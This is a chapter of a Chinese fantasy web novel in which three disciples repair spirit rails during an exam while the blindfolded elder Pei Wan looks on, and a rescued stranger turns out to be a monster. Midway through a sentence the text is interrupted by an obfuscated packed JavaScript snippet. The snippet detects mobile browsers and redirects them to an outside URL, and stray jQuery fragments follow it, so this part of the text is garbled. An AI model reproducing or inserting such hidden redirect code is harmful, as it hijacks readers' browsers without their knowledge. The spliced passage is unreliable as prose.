9. 第9章

作品:《杀戮道主向我自荐枕席

    霍知年起初以为是自己灵力透支、神识错乱,眼前出现了幻觉。


    可他反复闭眼再睁开,眼前的景象都丝毫未变。


    谁能想到,方才磨刀霍霍、准备大展身手的两位队友,出去半柱香功夫,就跟变了个人似的,规规矩矩地给一名双眼缠布的男子引路开道。甚至小心翼翼地扶着对方,避开路上的坑洼碎石。


    霍知年定睛一看,心脏差点骤停。此人行步缓缓,气息深沉,有一股生人勿近的森冷之势,分明是那连司中长老见了都避之不及的煞星——杀戮道道主裴挽。


    心中暗忖,莫非是薛师妹私下请来的援军?


    他不敢怠慢,维持着灵力传导的姿势,强自镇定地颔首行礼:“霍知年,见过裴长老。”


    裴挽闻声止步,微微偏头道:“不必多礼。”


    他话音落定,便随意寻了块空地盘膝坐下,姿态从容潇洒,半点看不出置身邪祟遍地的危境之中,倒像是回了自家后院,正打算小憩片刻。


    三人一时无言,面面相觑。


    最终还是薛都忍不住打破沉默,凑近半步,小心翼翼地试探:“舅……裴长老,你这眼睛是怎么回事?”


    修长手指抚过染血的白纱,裴挽神色平静道:“小伤而已,休息两日便无大碍了。”


    傅庭声不觉得这是什么小伤。


    她盯着纱布上洇出的血痕,眉头紧皱:“可是因为此地邪祟?”


    裴挽摇头轻笑:“并非邪祟所伤,追人时出了些意外,同你们相遇也不过巧合而已。”


    “追谁?”薛都好奇心顿起。


    他却不再多言,只道:“你们无须知晓,继续专心完成考核内容便是。”


    薛都背过身悄悄撇嘴,小声嘀咕:“嘁,装什么高深。”


    霍知年此刻已是有些支撑不住了,过度的灵力输出令他唇色发白,呼吸粗重,悬在断口上方的双手也在微微颤抖。


    见他们终于聊完,他才咬着牙出声唤道:“你俩还不过来帮忙!”


    傅庭声与薛都见状,赶忙飞身过去接替。


    裴挽端坐在结界内,静若古佛。即便什么都不做,周身散发的威压也能令雾中邪祟不敢靠近。有了这份无形的庇护,结界无需再留人看守,三人得以心无旁骛地将灵力注入断口。


    澎湃灵力在桑皮纸下激荡流转,原本灵光暗淡的灵轨,渐渐泛起一层柔和银辉。


    如此反复,不知过去了多久,直到天光微变,三人灵力即将枯竭之际,断口终于溢出了清亮的灵液。


    “终于成了!”


    薛都一屁股瘫坐在地上。


    傅庭声抬手拭去额角汗滴,心中丝毫不敢松懈。


    灵轨修复初期,灵息尚且不稳,稍有扰动便可能再次崩裂,还需有人在旁护持至少半个时辰。三人稍作歇息,便又着手分头加固结界。


    待一切终于收拾妥当,傅庭声闭目凝神,开始感应第二处断轨方位,却忽然神情一变,猛地睁眼。


    “不对,”她转身看向队友,语气罕见地凝重,“附近的断轨,还有两处。”


    “什么?!”


    薛都一愣,几乎以为自己听错了:“不是说只有两处吗?”


    霍知年面色微沉:“你确定?”


    傅庭声缓缓点头:“确定,加上我们刚修复的这处,附近总共有三处断轨。新增的一处,应当是方才在我们修轨时断的。”


    修复成功的喜悦,瞬间消散无踪。


    霍知年迟疑着开口:“可咱们出发前,宴教习亲口说的修复两条灵轨。”


    “只怕是有人暗中动了手脚。”


    半晌,薛都咽了口唾沫,下意识扭头看向裴挽:“裴长老,现在咋办?”


    裴挽缓缓起身,拍落衣袍上沾染的灰尘:“既然发现了,就修了吧。若是方才刚出现的,想必断口也不深,费不了你们什么功夫。”


    三人对视片刻,没有犹豫。


    “走!”


    傅庭声当即转身,其余人默契跟上,朝着最近一处断轨疾行而去。


    ——


    沿途雾气依旧浓重,而且静得诡异。


    “太安静了。”


    薛都下意识压低了声音。


    “会不会是个陷阱?”霍知年也觉得有些蹊跷。


    傅庭声瞟了眼默默跟在后面的裴挽,心中暗忖这一路的畅行无阻,未必不是因为那些邪祟对他心生忌惮,才不敢轻举妄动:“无论如何,先去看看。”


    继续穿过最后一道雾障,灵轨轮廓已然清晰可辨。还未靠近,几人不约而同刹住了脚步。


    地上竟倒着个人。


    他面朝下伏在地上,身形瘦削,看不清面容,浑身沾满尘土血迹,胸口微微起伏,尚且还有一口气。


    “这是什么情况?”薛都皱起眉头。


    霍知年上前两步,目光警惕:“此地灵息枯竭,算得上将死之地,寻常修士可不该出现在这里。”


    正当几人犹疑之际,地上的男子忽然动了动手指,发出一道低哑的呻吟。他缓缓撑起上半身,露出半张沾满泥灰的脸,眼神涣散如惊弓之鸟。看清傅庭声等人,他猛地往后一缩,声音发颤。


    “你们、你们是谁?别…别杀我!”


    傅庭声皱眉,眸色微沉:“冷静点,我们不会伤害你,只想问问你为何会出现在此地?”


    男人唇角发抖,颤颤巍巍道:“是…是一个自称鱼先生的人同我讲,来这可以延长寿命。只要……只要参加个什么铸道仪式——”


    “铸道?”


    霍知年听得眉头一拧,只觉荒唐。


    “我,我也觉得奇怪啊!”那人几乎要哭出来了,“可他看起来知道得很多,说只要按他说的做,就能至少再活两百年。我…我没得选……没得选啊!”


    见他越说越激动,薛都赶忙打断:“好了好了,后来呢?”


    男人哆嗦着手,指向不远处的灵轨,神色惶恐道:“我才刚走过去几步,就突然被打晕了,根本不知道发生了什么。”


    傅庭声心中觉得古怪。


    短短半日,先遇受伤的裴挽,又撞上鱼先生作案,这等巧合未免也太多了点。


    “此人说不清底细,所言也不知真假,贸然留下恐怕太过冒险。”


    薛都看着缩成一团的男人,还是有些于心不忍,小声道:“但要真是被骗来的,扔他一个人在这儿也太不地道了。”


    傅庭声沉吟片刻,正要开口,沉默许久的裴挽忽然出声:“将此人带回去,待考核结束,本座亲自审问。”


    程珞仪的案子还没结,他们亟需一些鱼先生的线索。


    就算知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341280|183458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是个圈套,也先踩了再说。


    长老发话,三人自然没有异议。简单施了个禁锢术,又封住神识灵压,便将人丢在一旁不管了。


    “干活吧。”


    傅庭声挽起袖子,转身走向灵轨。


    此处的灵轨仅有一道三尺长裂缝,灵气溢散,灵液断断续续从中渗出。他们见状,迅速分工配合,先搭设结界,再用桑皮纸小心地裹住裂缝,争取半个时辰内将其修好。


    考核之事裴挽不便出手,只好静立于五丈之外,凝神调息。


    男人见他们前前后后忙个不停,忍不住打听:“为何要这般精心照料一棵枯树?”


    语气里带着几分天真与好奇,像在看什么新鲜玩意儿。


    三人手中动作骤停。


    傅庭声缓缓转头,目光凛冽:“你看见了,一棵树?”


    男人一愣,突然意识到说错话,含糊道:“就,你们围着的那个啊,不是棵……发光的枯树吗?”


    寻常修士仅凭肉眼,根本不可能看见灵轨。


    他为何能看到?


    傅庭声正欲追问,忽有四股陌生灵压自浓雾中骤然迸发,气势汹汹——这回是真有人来截胡了。


    薛都脸色一变,立刻祭出阵盘:“傅师姐,让他们有来无回!”


    不远处,裴挽身形微动,却并未出手。


    新人考核中的冲突本就被视作试炼的一环,他若插手,便成了作弊违规。晚辈间的小打小闹,合该由他们自己处理。


    况且在他看来,这三个也根本不需要他帮忙。


    与此同时,霍知年已率先拍出数道金纹灵符,并指如剑,低喝道:“破!”


    灵符在空中瞬间绽开,光芒乍现,所过之处,雾气如雪入沸汤,迅速消融殆尽,显现出四个鬼魅般的身影。


    其中两道黑影身形如电,刀风凛冽,直取傅庭声咽喉与心口。傅庭声不退反进,长剑横扫,带起数道雷光,生生将两人的攻势尽数格开。


    对方显然也不是什么泛泛之辈,招招狠辣,不留喘息之机。


    傅庭声始终沉着应对,剑光如炽,攻守间游刃有余。每一步都落得恰到好处,仿佛早已预判了对方招式。两人几次试图合围,皆被她破解击退。


    剩余两人意欲绕后,却误入了薛都的绞灵阵,身形立刻被束缚,动弹不得。


    “还想偷袭?”


    薛都冷哼一声,掌中蓄力,收紧阵中灵线。


    衣袂翻飞,灵压暴涨。短短数息,六人已是打得火光四溅,难舍难分。


    无人注意到那个被禁锢在角落里的男人,神态正在悄然转变。他脸上没有半分惶恐,反倒非常兴奋,低垂着头,嘴角扯出一抹狰狞的笑意,像是终于要按耐不住,准备撕开伪装了。


    先前的禁锢术早已被挣脱。


    他缓缓起身,目光紧盯着不远处的裴挽,舔了舔唇。


    此人双目缠纱,衣袍残破,看似气息羸弱,实则周身窍穴中流转着磅礴的灵力。如此美味,岂能错过?等不及了!


    男人猛地暴起。


    那张原本类人的面孔在半空中扭曲拉长,额骨凸起,獠牙毕露,下颌张开至不可思议的角度,朝着裴挽脖颈咬去,誓要将他整个吞入腹中!


    傅庭声蓦然回首,瞳孔一缩。


    “裴挽!”